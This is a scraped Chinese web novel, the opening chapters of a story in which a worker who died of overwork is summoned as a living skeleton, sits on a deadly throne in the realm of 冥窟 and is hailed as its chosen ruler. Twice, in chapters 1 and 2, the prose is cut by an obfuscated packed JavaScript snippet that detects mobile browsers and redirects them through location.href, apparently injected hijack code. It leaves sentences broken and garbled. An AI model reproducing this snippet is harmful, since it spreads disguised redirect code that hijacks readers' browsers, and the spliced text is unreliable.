《骷髅领主,地狱开局》 1. 王座钦定者 厅室内,百盏烛火幽静地燃烧着,犹如群星落入大厅,蜷缩于这一室当中,亮得刺眼。 本是宽敞开阔的环境,此刻聚集了近百人,显得拥挤不堪。他们像被高高的穹顶压弯了腰,全部匍匐在地上,朝着正中央的祭坛跪拜叩首。 蜡烛只为照亮祭坛,而人们只为迎接一个预言,一个可能,一个希望。 离祭坛最近的老者缓慢抬起头,浑浊的双眼望向前方,透过祭坛,越过人群,看向尽头的王座。 昨天不曾盼到,今天会出现吗?是他们不够虔诚,还是因为过度窥探天机,惹怒了众神? 可他们即将面临百年未有之大变,若等不到那个人,冥窟,或许真的会就此消失了! “敬候您的驾临!”老者的嗓音已然嘶哑,颤抖着喊出恳求。 “敬候……” “……驾临!” - 一阵强烈的心悸在胸口躁动,贾文捂住心口,几次深呼吸也不见好,反而越发闷疼,感觉体内的空气在慢慢抽离。 胸闷气短也不是没有经历过,只是这一次格外不同,身体最深处的本能察觉到了什么,向大脑发出最尖锐的信号。 但贾文的脑子已经转不动了,虽然他掏出手机,往拨号界面输入了120,可是他太累,累到睁不开眼,累到迟迟摁不下拨出键。 指头悬停了一会儿,不到片刻,手机忽然从掌心滑落,怦然坠地。 真正的危险来临后,贾文的脑子曾有过那么一瞬间的清醒。 而他唯一的想法,是终于可以好好睡上一觉了。 …… 贾文以为一切该归于寂静,结果眼皮刚刚合拢,周围响起了密密麻麻的嘈杂声。 有惊讶的吸气,有絮语般的讨论,还有忽近忽远的抽泣。 贾文统统不想管这些东西,好不容易有个能闭眼的机会,甭管是躺在地上,还是已经被抬到救护车上,或者在病房里瘫着……他压根就不在乎,只想蒙头大睡。 困到一定程度,耳边的声音都会消失个干净。而就在他所有意识半截入土的时候,身体轻微地摇晃起来。 一开始,那只手似乎不敢逾越,带着几分犹豫和恐惧,轻轻搭在贾文的肩上。 这点力道全当摇篮和按摩了,只会让贾文睡得更香。 围观者面面相觑,见贾文还是没醒,大着胆子把人扶起来,又是拍又是摇,越发着急,最后直接抓着肩膀猛烈摇晃! 效果立竿见影,贾文一个激灵,眼皮被晃出一条缝。 模模糊糊地,他看见一群人围着自己转。身上穿的什么看不清,总之不是白大褂。 “预言成真了,星辰保佑!” “真的、真的降临了!” “您快醒醒啊!” 醒什么醒?三天两夜没睡,途中闭眼休息加起来不到四个小时,醒什么,让我睡! 困得太狠,心里想的有没有变成话说出口,贾文也不知道。 不过四周安静了一刹那,有人开口:“您先把眼睛睁开,听我们说几句,然后您就可以好好休息了,可以吗?” 这勉强算一个有诱惑力的条件,至少听上去比老板在会议桌上慷慨激昂大谈的目标要更现实。 贾文试图把眼皮再掀起来一点,于是,他看到了许多……呃,该怎么形容,一种字面上的、人不人鬼不鬼的东西? 一部分是人,但有些缺了半边脑壳;有些胸口被压得扁平;有些烧伤了的皮肤遍布全身,还能在融化掉五官的脸上看出关切之色。 贾文不是法医,也不是入殓师,没见过如此之多奇形怪状的“尸貌”。 可他不但不害怕,还有着一种死水般的平静——来自于刚才的承诺。 当然,是那种管你是人是鬼,答应了之后要是不让我休息,我铁定会拉着全世界一起同归于尽的平静。 “星辰保佑,您终于来到冥窟了,我们盼您盼了太久了!” 老者本身腿脚不灵,自己都站不太稳,依旧固执地想要搀扶贾文从冰冷狭窄的祭坛上下来。 他一边说着,一边拖曳长长的衣袍,跟随外来者的步伐慢慢行走。 所有人都侧身避让,为他们腾出一条道。 “我们的土地上即将发生一场万年灾祸,这是我们预言到的、一次史无前例的浩劫!它会毁掉一切,花草枯萎,生灵涂炭,鲜活的生命将不复存在!” “想要阻止这场灾难,唯有一人能够……等等,您要去哪儿?” 老者在矮阶边上停下,祭坛背后便是王座,眼见贾文逐步迈向那把高大的座椅,他下意识想伸手去捞,却连后背都没够着。 “快阻止他呀!”旁人焦急喊道。 “拦他做什么?” 另有一道雄浑的声音响起,众人纷纷将视线投向这位皮肤黝黑的男人。 男人继续道:“既然召唤来了王座钦定人,不是正好可以看看此人资质的真假?” 他话说得没错,可许多人脸上忍不住挂上了哀戚,他们只是太害怕了,怕承担不了验完真假的后果。 男人黝黑的脸微微转向,沉默地看着贾文的背影。其余封臣、廷臣,乃至仆从也朝贾文那边望去。 ——那背影过于纤瘦,无血无肉,奇特的衣服挂在森森白骨上。会动的骷髅正迈着虚浮的脚步,一步步靠近王座。 纵使是原形怪异的他们,也不禁因这一幕感到有些惊悚发麻。 王座就在前方,它洁净无尘,看来是常年被人精心照料着的。黑色的木料铸成整个椅身,泛着盈盈油光; 椅背仿佛要冲破穹顶那般高大笔直,雕镂了许多精致繁复的花纹图样:一条倒悬的巨蛇尤为明显,宛若攀附在椅背上。无瞳的蛇头吐出信子,反倒不像在迎接来客,而是垂涎猎物,凝聚了剧毒,准备绞杀想要坐上座椅的人。 事实上,这的确是一个杀人王座。 历来妄图“征服”它的人不计其数,全是一群自命不凡的愚蠢之徒——认为自己是王座的钦定者,能够使启示应验,成为冥窟唯一的王。 最终的结果无一例外,凡是坐上去的,连尸身也没留下,当场灰飞烟灭了。 因此,贾文的行为格外引人注目,在场的心思各异,但都默契地注视着贾文,这名由巫师从异界召唤来的外来者。 若他真的是王座钦定人,那便不会灰飞烟灭,还能够操控深渊之门,以拯救冥窟。 如果不是…… 身着长袍的老者接过拐杖,五指越攥越紧。 贾文一看到这把座椅,特别是座椅上的软垫,视线就移不开了。 他脑袋浑浑噩噩的,本身装不下任何东西,老者说了什么话,他更是一个字没听进去。只觉得软垫瞧着挺舒服,应该很好睡,不知不觉走到了跟前。 几乎没有迟疑,贾文一屁股坐上王座,身子倒向一边,脑袋刚沾到扶手,登时两眼一闭昏睡过去。 他睡得人事不省,底下近百人看得心惊动魄。 怕惊扰什么东西似的,大厅内无人言语,甚至悄悄把呼吸放轻,只剩下自己的心跳声震耳欲聋。 蜡烛渐渐融化,时间静静流逝,不知过去多久,贾文依然好好地坐在那儿,安然无恙。 大家站得脚酸腿疼,但无一人抱怨过半句。他们望着王座上的白骨骷髅,眼底的光越发闪亮,胜过厅内的烛光。 老者收起拐杖,再一次俯身跪地。见此,身后的一众人也随他跪下,向贾文深深叩首。 泣音此起彼伏地传来,压抑得很轻很小。 “太好了……是真正的钦定者。” “冥窟有救了!” 安眠中的骷髅对身前的景象一无所知,座下的抽泣与他无关,苦等到希望的欢欣也与他无关;呼吸逐渐平缓,骷髅已陷入沉眠。 - 贾文睡了一场酣畅淋漓的好觉,当他悠悠转醒,身体和脑子的疲惫感一扫而空,极舒服的慵懒舒适包裹着全身。 没有闹铃和电话声催促,一觉睡到自然醒的日子,已经很久很久没体验过了。 心情前所未有地好,他微微抻开双臂,想活动活动,身边冷不防传来陌生的音色。 “钦定者大人。”是名女性的声音。 贾文被冷水浇头似的彻底清醒了,他猛地睁开眼,一位女性跪在床边,恭敬地端着餐盘。 四周的环境也无比陌生,这是一间卧房,风格完全不似现代建筑:石砌的墙面冰冷坚硬,床尾不远处放着一座壁炉,柴火正在炉内燃烧,偶尔发出噼里啪啦地轻响。 房间里除了壁炉、一张桌子、一面屏风,就剩他此刻躺着的这张床。空间其实很大,只是不知为何没有摆放多少东西,略显光秃了些。 女人身上穿的是粗布裙子,腰间围着洗到干紧发皱的围裙。她五官立体,肤色很白,一双碧眼隐藏在浓密纤长的睫毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233547|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下…… 总而言之,不论房间还是里面的人,一概不是贾文所熟悉的事物。放在电影里倒有几分合理,题材背景还得是西欧中古时期。 女仆手里举着托盘,托盘上只有一杯水和一块帕子。她不敢抬头去看贾文,弯下腰轻声道:“大人,您想要喝点水吗?” 贾文立时起了一身鸡皮疙瘩。 一方面是被当做老爷似的伺候让人颇为不适; 另一方面,是他居然能听懂她说的话!不是英文,不是曾经听过的、接触过的任何一种语言! 这到底是哪儿?我为什么会在这里?! 唯一清晰的上一段记忆,只有连着加班多日,因为过劳和缺乏睡眠开始犯了老毛病,心脏抽了抽,然后失去意识…… 后来,他好像被一群稀奇古怪的人围着转,半梦半醒地答应了一些事。 贾文不可置信地瞪大眼睛,所以后来发生的事情是真的?到底发生了什么,被绑架了?他怎么会莫名其妙来到一个陌生的地方! 女仆不知道贾文此刻在头脑风暴,没有回应,那她必须一直等待。 “不需要……您先放下吧。”贾文终于开口,女仆听他用起尊称,原本稳稳当当的托盘微微抖动,杯中的水轻微摇晃了一下。 他发现自己说的也是特殊的语言,没有半点滞涩,仿佛母语那般流利自然地说了出来。 贾文把手从兽皮毯子里伸出来,等看清楚自己的手长什么样,房间猝然响起一声大叫。 “啊——!” 女仆被喊叫惊得洒了水杯,大半的水都泼在贾文身上。 “对不起,大人,对不起!” 她自知闯了祸,嘴里不停道歉,手也不停地帮忙擦拭。贾文同样吓得不轻,身子一直发抖,一时间乱作一团。 而他的衣服也在混乱中被掀起一部分——不止手,包括肚子也没了血肉!骨头,全部变成了骨头! 他爬下床,撩起裤腿,发现双腿也只剩下腿骨。要不是顾及房间里还有一个人,他巴不得脱光衣服检查。 卧槽!身上全是骨头! 我到底是死了还是没死,变鬼了吗?怎么变成骷髅还能安然无恙?! 三番五次的冲击令贾文两眼发黑,倒退几步跌坐床上,扶着额头弄不清状况。 女仆已经恐惧得趴地上磕头,以为刚才惹怒了对方。这可是唯一的王座钦定者啊!万一出个好歹,迎接自己的是死路一条,千刀万剐也偿还不了这个罪责。 片刻过去,贾文疲惫地抹了把脸,说道:“您先别磕了,快起来吧。” 看那女性应该比自己年长一些,冲他下跪磕头,他怕自己折寿,即使不知道现在还没有寿命可折了。 “请问这是哪儿,我怎么来到这里的?” 女仆如蒙大赦,快速回答:“回大人的话,这里是冥窟领地的极夜城堡。您在王座上睡着之后,卡隆巫师命人将您送来卧房好好休息。” “卡隆巫师?我睡着之前有发生过什么吗?”贾文继续追问。 “卡隆大人是巫师族的长老,是他与所有巫师合力将您召唤来的……” 她当时在场,于是把亲眼所见一五一十地告知贾文。 贾文沉默地听着,待女仆讲完,静默良久,他轻轻启唇。“有镜子么?” 女仆点点头,从卧房外端来水镜。透过水面的反射,贾文模糊地看到了自己的模样。 尽管仍有惊吓,但他比刚刚冷静多了。 他盯着水面,与一颗骷髅头对视。 他能感知到自己在眨眼,水镜的另一端却无事发生。 就好像当下的所有感官,皆与有血有肉时无异;可从外貌上看,俨然就是一具骷髅,会动会说话的骷髅。 其实,如果细想的话,贾文觉得自己实际上没能撑过去,应该是猝死了。只不过眼下发生的一切太过突然,令他没有死亡的实感。 或许死亡本身就没有实感,而他正在呼吸,仿佛重获新生。 “我刚醒的时候,您叫我什么?”贾文没把视线挪开,依然看着盆中的水面。 “钦定者大人。”女仆颔首回应,对“您”的敬称心有余悸,另外向他禀告,“政务总管坦尼森大人吩咐过,若您醒来,休息好了,请随我前去议事厅,有要事必须同您商议。” 屋内安静得仿佛空无一人,少倾,女仆终于等来旨意。 “走吧。” 2. 灾祸预言 原来那套衣服湿了,方才拿水镜时,女仆顺便取来事前准备好的干净衣物。 贾文不需要女仆的伺候,在屏风后换好衬衣,束腰的带子系上去反而吓人,毕竟他只剩骨头了。尝试整理了一下领口,便跟随女仆走出卧房。 出了屋才知道,门口原来一直站着四名守卫,不知是为了防止意外,还是严加把守着他。 前往议事厅的路上,贾文没有收敛目光,不停地用窟窿似的眼洞打量四周。 室内的装潢颇具欧式古堡风格,虽然大多还是砖石墙壁,但窗户的雕镂设计足以展现出工匠的高超的手艺。一些墙壁的空白处还绘制了样式简单、却色彩丰富的彩画。 他脚上还套着皮靴,每走一步都踏在平整的砖石路上。想要纯人工做到这种水准,堡主需要花费不小的人力物力。 然而,从屋子到走廊,处处透着一种奇怪的感觉。 精致的往往是大部件,一些小的细节,比如床帘、桌椅、甚至蜡烛灯台都像是后来仓促安装的。粗糙且简陋,哪哪都不对调,给人既贫穷又奢靡的矛盾感。 路程没多远,不消多时,贾文和女仆抵达议事厅前。仆从进去禀报,木门很快向外敞开。 …… 与贾文想象中不一样,他本以为议事厅应该非常庄严肃穆,结果长桌摆放着许多食物,放眼望去尽是肉菜美酒。 烤肉和面包的香气在空中弥漫,里面众人接连起身迎接,恭敬地邀请贾文入座。 等回过神时,贾文已经坐在唯一的上座了。 “钦定者大人。”左手边,一位鬓发半白、皮肤松弛,却精神矍铄的褐发男人微微颔首,为他亲手斟了一杯葡萄酒,“您休息得可还好?” 似乎担心对方有所顾忌,褐发男人同样在自己杯中倒了些酒液,举杯先饮一口。 “……谢谢,还不错。” 贾文其实想喝热水,但礼都到这儿了,不喝一口不合礼数。他只是微微沾了沾唇,将杯子放下,等待对方继续表态。 “如此便好。冒昧问一问,大人贵姓,该如何称呼?” “贾文。不用那么客气,叫我贾文就行。” 褐发男人笑盈盈地点头,不知是明白了还是没明白,照样带上尊称。 “我明白了,贾文大人。请允许我先为您介绍一番,我是冥窟目前的政务总管,威廉·坦尼森。” 褐发男人坦尼森不疾不徐地说着,抬手一一介绍桌上的人。从政务总管,再到财务总管,接着是治安官…… 贾文意识到,坐在这里的,或许基本都是整个城堡内的核心人物。 “最后一位,也就是您右手边的大人,您或许有些印象——他是冥窟的功臣,巫师族的长老,杜利乌斯·卡隆巫师。” 白发苍苍的老者拄起拐杖,佝偻着腰背,朝贾文深鞠一躬。 轮着一圈介绍完,众人重新落座。政务总管坦尼森主持众人敬酒,贾文照做回礼,再次抿酒的空隙,心里多了点想法。 一下子记住所有人的样貌、爵位和职务不太现实,可刚才的介绍当中,一些事情渐渐明晰起来。 大家的脸上呈现出不同的疲态,浓浓的黑眼圈挂在眼睛底下,却因为某些到来而兴高采烈。像一件困扰已久的事情终于得到解决,喜气止不住地往外冒。 这个到来,正是贾文自己。 不是自恋或者夸大,从进门的那一刻起,大家投来的目光宛若看到了救星,各方面的待遇和礼节安排得极为妥帖。 要是无事,哪会献如此隆重的殷勤? 钦定者,钦定者,自他醒来之后就听过许多遍这个词。 据说还是被召唤来的,肯定是遭遇了什么事,才会求一个“外来”的人帮忙。 “今天设宴款待,正是为了欢迎您来到冥窟。您不用客气,请敞开了吃,我们边吃边谈。”政务官坦尼森一声招呼,仆从为贾文切下一块烤羊腿,呈进盘子里。 众人纷纷开始用餐,互相轻声交谈,欢声与絮语充斥着整间议事厅。 坦尼森撕下一块面包,道:“昨天晚上事发突然,没来得及好好解释,容我详细解释一下来龙去脉。” “大约四个月前,天上生出异象。卡隆巫师和他的族人们通过观星占卜,预言四个月之后,万年灾祸降临,我们脚下的这片土地将迎来一场灭顶之灾。” 没过多久,天上鸟群低飞,鼠蚁倾巢而出,野兽躁动不安,不祥之兆开始应验。” 我们是冥窟的子民,不能眼睁睁看着它被毁于一旦。这一百多天里,我们一直在想办法去解决,也经历了很多事……虽然被逼上了绝境,好在想出了唯一一个可以尝试的方法:那就是召唤王座钦定人,来协助我们一起阻止灾难。” 贾文捉住关键字,有些问题他必须尽快了解。 “请问王座钦定人是?” 褐发男人眼含笑意。“您还记得吗,刚被召唤来那会儿,您在一把椅子上睡着了,它就是从先民时期传下来的王座。它意义非凡,不仅是无比神圣的象征,更是启示的代表——王座会选择它的主人,而钦定者将会带领冥窟走向繁荣。” 听罢,贾文转头看向卡隆巫师,再默默移开视线。 瞧得出来,政务总管和巫师长老是对此深信不疑的,这二位长者的眼神太坚定了,坚定到贾文都快以为自己真是什么天命之子,天选之人。 且不说对面有没有在诓他,仅凭一个“王座启示”就笃信能够挽救灾难,很难说是不是迷信。 然而问题的关键不在这里。 坦尼森继续娓娓道来。 “王座钦定者拥有非同寻常的能力——操控深渊之门。深渊之门是连通外界的、最重要的开关,能使整片冥土隔绝外界,也可以打通与外界接触的大门。” “您的意思是,我现在有这个能力?”贾文挑眉,即便在骷髅脸上压根看不出来。 “是的,您是钦定者,唯独您有这种能力。” 万一没有呢?贾文没有问,就像他同样没把对预言的怀疑说出口。 他心里门儿清,别看那么大的排场规格,还把他尊为上宾,说到底只是有求于人。 毕竟跟“原住民”比起来,贾文人生地不熟,获取的信息完全是从别人口中得到的,他才是最被动的那个,只能任由摆布。 还能怎么办?只好顺着话头问下去了:“我要怎样帮助你们?” “刚才我说过,您身上具备一项特殊的能力。操控深渊之门,就是阻止灾难的关键!”政务官坦尼森说。 “深渊之门位于雾海的深处,而我们预言到的万年灾祸,恰好在雾海、以及深渊之门附近出现。” 卡隆巫师接过话,缓缓道出解决方法。 “深渊之门开关之时,雾海将狂风大作,浪涛不息,雷电不止。海上的风暴会吞噬所有东西。唯一的办法,便是趁此机会,利用巨浪与风暴应对灾祸降临。” “万年灾祸具体是哪种东西?要用风暴吞噬,难道是某种生物?”贾文询问。 卡隆巫师长叹一声,无奈地摇头。 “很遗憾,不确定。根据星图指示的信息,只能判断是天外来物。我和其他巫师们日日夜夜观星辰,做占卜,直到今天,也最多只能算出灾祸降临的地点,以及何时出现。” “那您能告诉我,还有多久发生吗?” “回大人,算上今天,只剩下十天。” “……” 十天,火烧到眉毛尖了啊。难怪见到“救星”,他们会表现得如此高兴。 贾文沉吟片刻,又问:“到时候需要我做些什么?” “您放心,我们安排好了一切,届时只需要……” 坦尼森详尽地描述着后续安排,可里面有太多贾文不熟悉的东西,后者只能囫囵听个大概,似懂非懂地点头。 一天内接受了过多的信息量,贾文感觉脑袋接受不下更多信息了。两位长者也表示体谅,给予他一些时间消化。 他叉起烤羊肉,吃东西也只是想试验一下,变成骷髅还能否吃饭,会不会消化。 谁知刚放在嘴边,一股膻味直冲鼻尖。 贾文皱着眉,试探地咬一口……牙齿还没咀嚼两轮,肉立马呕了出来。 这哪是烤羊肉?分明是羊被火燎了下屁股吧! 贾文被羊膻味冲得实在恶心,抓起旁边的葡萄酒一阵猛灌。烤肉盐味少得可怜,佐料更是一星半点儿都找不到,肉也没熟透,跟直接啃生羊差不多。 他反应有点大,引来不少注视。忙着漱口,自然也没看见,那些目光之中除了担忧,还有难以言喻的复杂与痛惜。 “贾文大人,还好吗?”坦尼森连忙递过手帕,见对方摇头,便又收回怀里,“是不是吃不惯?” “来人,把烤羊肉撤下去处理,重新换一道菜上来!” “不用不用。”贾文摆摆手,扯出一个轻松大方的笑容,“的确是有些吃不惯,味道比较……原滋原味。我尝尝别的就行,不用大费周章。” 骷髅脸虽看不出五官,但莫名能传递一些神态和情绪,坦尼森就感受到了笑意。 “没关系,招待不周是我们的失职。”褐发男人跟着轻轻笑起来。不过烤羊肉已经被仆从端走,他换来一碗燕麦粥呈到面前。 燕麦粥一样寡淡无味,食材似乎不行,吃进嘴里有一股说不出的味。本来没多少胃口,现在彻底消失了个干净。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233548|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贾文只喝了两勺,便搁下勺子,百无聊赖地悄悄打量其他人。 主座的视野极好,能一眼将议事厅内的事物尽收眼底,包括在场的所有人。 看着看着,他愈发感到疑惑。 明明刚才的食物难以下咽,为什么他们却吃得很香? 燕麦粥是同一份,几人的餐盘里还剩着几块已经撤下去的羊肉,人人面不改色地享用烤肉,而且还很珍惜地用面包刮干净燕麦粥。 他瞥了一眼桌前,一细看,才发现蔬果已经略有一些不新鲜了…… 满肚子问题不见消化,反倒催生出更多疑虑了。 等政务总管吃得差不多,贾文捡着一件最想弄懂的事,向坦尼森提出疑惑。“抱歉,可能问题比较冒昧。我被你们召唤到……嗯……冥窟,你们的领主应该是知道这件事的吧?” “包括今天的宴席,也是领主吩咐的吗?” 提及此事,坦尼森的笑容黯淡几分,神情中的凝重令贾文预感不妙。 “有件事不得不向您说明,冥窟的上一任领主,在四个月前弃城逃跑了。”提到上一任领主,坦尼森的眼底划过一丝微不可查的厌恶。 领主逃跑了……因为万年灾祸的预言?贾文傻眼了。 “于是百余天的时间里,冥窟遭遇许多变故,经历了一番不小的混乱。但我们不会抛弃自己的故土,努力让领地重新恢复平静。因此,目前的所有事务都是由我们处理,冥窟没有领主。” 坦尼森叙说之时,议事厅内的众人也在不知不觉中安静下来。 “我有个不情之请。” 坦尼森离开座位,他年纪虽大,身子骨却是肉眼可见的硬朗,站得笔直又精神。 可下一秒,男人忽然向贾文恭敬行礼。 他一动,在场有几人也跟着做出同样的动作,行以大礼。 “冥窟不可一日无主,启示中曾说道,王座钦定者能让冥窟繁荣昌盛。数百年了,贾文大人,您是第一位真正的钦定者,是宝座认下的人,更是冥窟的王!” “乱世当中身不由己,所幸我们是幸运的,等来了您。我将誓死追随,拥护您成为冥窟唯一的国王!” 话音落地,坦尼森毕恭毕敬地垂首致意。 贾文大惊失色,屁股早就离开了凳子,没有双唇遮掩,暴露在外的两排牙齿根本合不拢,目瞪口呆地面对眼前这一幕。 不是,什么情况,刚才还是什么钦定者,怎么又要立君了?强买强卖还买一送一呢??? 正当此时,贾文脑内闪过一抹刺痛,像一根针从太阳穴扎进头颅,注入许多陌生奇异的东西。 脑子里突然冒出很多信息,宛若没有实体的文件发送到贾文这里,而这些“文件”又如同流水一般自然,在脑内迅速流淌,大脑如同一块海绵快速吸收着它们。 而它们恰好又是关于冥窟的信息! 接收是瞬息之间的事,但贾文来不及仔细琢磨内容,只能大致了解到,这些信息与政务总管坦尼森所说的大差不差。 他更想知道这些东西是从哪儿来的,完全不受控制,像有人强行给他植入了某种程序。 未知的恐惧开始无边地蔓延,贾文深呼吸,试图让心脏跳动得不那么剧烈。 “抱歉,这太突然了。”还好,声音没那么抖,应该能听出他的坚定。 “我是一个外来者,跟在座的各位比起来,对冥窟的了解还不及你们的半根手指。把一个最重要的位置交给一个外来者,换作我也不会放心。所以,恕我拒绝。” 活了那么多年,合该清楚自己到底有几斤几两,他可胜任不了当一国之主这项重任。 坦尼森抬起头,绿眸中的期许转为恳求,那明晃晃的哀切连贾文看了都忍不住叹息。可怜见儿的,背后到底有什么原因,居然让他们做到如此地步。 “可冥窟需要一个领导者!您拥有王座钦定人的身份,眼下只有您才能安定民心。” 此话一出,贾文便明白了——领主跑了,剩下一堆领导班子在苦苦维持局面。在这种又是国王又是领主的时代,若是没有一个能坐镇的,迟早会生出更大的祸乱。 真是骑虎难下…… 贾文头疼得更厉害了,今天发生的事情太多,脑袋快转不过来了,必须得缓缓。 “给我一些时间考虑,可以吗?关于预言和万年灾祸,我会尽力协助你们的,请起吧。” 坦尼森凝视着钦定者的白骨面庞,两只漆黑的眼洞宛若漩涡,而漩涡深处,两抹深邃幽紫的色彩正暗暗泛着光泽。 似乎预料到贾文不会一口答应,他没有任何强求或者逼迫,再度感激地施礼。 “冥窟人民会永远感谢您的搭救。” 3. 新伽港口 商议完计划与细节,宴席终于解散。 贾文拖着一身疲惫回房,他打算好好研究一下莫名奇妙出现在脑子里的东西。 先前觉得这玩意儿像程序,不是没有依据:它们如同数据,没有实体,却能在脑内搭建出一个“实体”。 例如,贾文想要查看关于冥窟的信息,这些信息就会浮现出来,变成一页纸,投射在视网膜上似的进行阅览。 除此之外,有一条无比醒目的信息格外瞩目。 上面写着:“距离开服仅剩十天。” 开服,什么意思?似乎只有游戏开放才会运用这个词。 而“十天”恰好跟他们所说的天灾降临时间一样,二者之间会不会存在什么关联? …… 贾文费力地思索着,回房没多久,之前伺候他的女仆端着食物走进来。 “坦尼森大人说,您在宴席上几乎没吃东西,但不能一直饿着。”女仆将食物一一陈放在桌上,随后静候一旁,等待贾文用餐。 “谢谢。”可他确实没胃口,也不饿,暂时不动餐具,继续专心查看脑海里的信息。 忽地,房里冒出“咕噜噜”的声响,动静不大,但在安静的房间里格外明显,贾文不可能注意不到。他抽离意识,望向声音的来源——女仆正捂着肚子,一脸赧然地低下了头。 “您还没有吃过饭吗?”贾文问。 女仆承认道:“没有。”事实上,从今早直至下午,她都不曾进食。 贾文将豌豆燕麦粥往前推了推。“我没胃口,一个人吃不完这些。正好粥还热着,帮我把它喝了吧。” “不、不能,这怎么可以!” 见她连连摇头,贾文无奈地放轻声音。“就当帮我一个忙,浪费食物也不好,您说对吗?” 女仆绞着裙子纠结一番,最终敌不过咕咕作响的肚子,慢慢接过豌豆燕麦粥和勺子,在贾文的再次肯定下,才敢舀起第一勺粥。 她还想在贾文面前保持恭谨,但她太饿了,恨不得直接捧着碗大口喝光,因而吃得很急,一勺接一勺地往嘴里送。 贾文看着她意犹未尽地用勺子刮干净碗底,回想起之前在议事厅看到的景象,先是问:“你叫什么名字?” “回大人,我叫米娅。” “米娅,我想问一下,冥窟最近是不是……粮食比较紧缺?” 女仆米娅犹豫几秒,轻轻点头。“是的。两个月前,冥窟经历了一场战争,厄尔悍人冲进村庄烧杀掳掠,抢走了我们很多的牲畜和粮食。” 这场战争信息里也有显示。 万年天灾的预言出现后,巫师族们原本只打算先私底下和领主商议,不愿过早地对外公布,以免引起恐慌。 可偏偏最先泄露出消息的正是上一任领主本人,得知有巨大的祸事降临,这货居然先拖家带口逃之夭夭了。跑就算了,还大肆散布预言,让冥窟彻底陷入混乱。 而在冥窟的东面,有一个由游牧民族组成的国家,就是女仆米娅所说的“厄尔悍”。 厄尔悍和冥窟不对付,经常骚扰边境,侵袭这片领地,挑起或大或小的战事。 领主跑了,又有万年灾祸的预言在前,厄尔悍自然要抓住这难得的机会。于是大举攻打冥窟周遭的村庄和镇子,抢走他们的资源,掳回自己家以备灾祸。 一场单方面的掠夺,令本就混乱的冥窟雪上加霜。 尽管政务总管坦尼森等人主动站出来稳住局面,然而资源的短缺,尤其是粮食问题短期内却无法解决。 后续的两个月里,大家只得节衣缩食,饿一饿肚子,尽量抠出一些口粮当做存粮,以备不时之需。 贾文想捏一捏不存在的鼻梁,想起宴席上的肉,以及众人的反应,心头难免沉重。 那些菜肴,应该是他们能拿出的最好的东西了吧。 他还想说些什么,门口有守卫禀报,坦尼森派来的侍卫到了。 米娅女仆感激地再三道谢,收拾空碗退下。她的身影刚刚消失,一个魁梧如山的男人便迈进屋门,空荡荡的房间瞬间显得有几分拥挤。 这大块头的脸上烧伤遍布,脖子以上找不出一块好肉。若是放在过去,贾文肯定不太敢与这种模样的人直视,那些红褐色的瘢痕实在是过于触目惊心。 但他只是稍稍心惊了一下,很快恢复平静。 毕竟他自己都是一具活骷髅了,跟全脸烧伤的人比起来,谁更恐怖一点还不好说…… “钦定者大人。”大块头半跪行礼,举起同样有着烧伤痕迹的手放于胸前。他的嘴看起来半合不合的,没想到动得还挺灵活,应该不会影响吃饭。 贾文把脱缰的思绪拽回来,赶紧将人搀扶起身:“你好,不用行礼。你就是坦尼森和我说过的佩顿骑士?” “没错,大人,他们也称呼我为‘火焰骑士’。”佩顿自我介绍,显然对后面那个称呼更为骄傲。 贾文欲言又止,酝酿半天,总算把这个略显中二的称呼叫出了口。 “好……好的,火焰骑士。我们明天什么时候动身?” “太阳升起前就得出发。”佩顿答道。 只剩下不到十天时间,万年灾祸就会降临,事情十万火急,一刻都容不得耽搁。 此前在议事厅里,众人一并商量了具体计划,确定明天就启程离开极夜城堡,前往雾海寻找深渊之门。 “贾文大人,您居然不怕我的脸呀。”佩顿颊边的肉一阵抽搐,似乎在笑,配合这话愈发惊悚。 他怕,但他更怕自己。贾文不好说出口,只得讪讪微笑。 “从议事厅回来的路上,我见过一些人和你一样,身上总有些……伤口。这是怎么一回事?” “那是我们最原始的模样,大人。我们冥土上的有些人生来便有这些印记,据说是上辈子的死法,谁知道呢?” 说话间,只见火焰骑士脸皮微动,戏剧变脸似的倏然变了个模样,成了一个五官粗犷,有着正常人类样貌的脸! 贾文惊奇地看着他的变化,又见对方变回烧伤遍布的脸。 “刚才给您看的,是我的正常模样。但我觉得现在这样更好,更有威慑力。”火焰骑士嘿嘿笑着,自豪地昂了昂下巴,“您不是也有原始模样吗,和咱们一样!” 贾文一怔,火焰骑士说得有几分道理。尽管不知道为何变成了骷髅,但按照对方的话来解释,指不定骷髅就是他尸体的样子,今后的某一天也能恢复过来。 他对此没别的表示,搬来一把椅子,笑着请火焰骑士落座。 回到桌前,贾文的白骨手指在桌面缓慢而有节奏地点着,像在思考着什么。 目前可阅览的信息中,有一个问题格外瞩目:他们把脚下的土地叫做冥土,而冥土内也不止有冥窟这个领地。 那国王去哪儿了? 原来真正的国王在“界外”,“界外”又是一片新的大地。也就是说,冥土更像一片独立的大陆,一个单独的空间,通过海洋和深渊之门开启的通道这两个媒介,里面的人们可以自由来往两地。 冥窟实际上属于界外的奥兰迪尔王国,上一任领主,就是那个卷铺盖逃跑的,就是国王亲自授封的界外人。 于是贾文提出疑惑:“我了解到,冥窟有归属的王国。万年天灾的预言,你们的国王不可能不知道,那为何不向他求助?” 火焰骑士佩顿站在桌前,闻言,他嗤了一声:“要是真想管,就没后续那么多事了。” 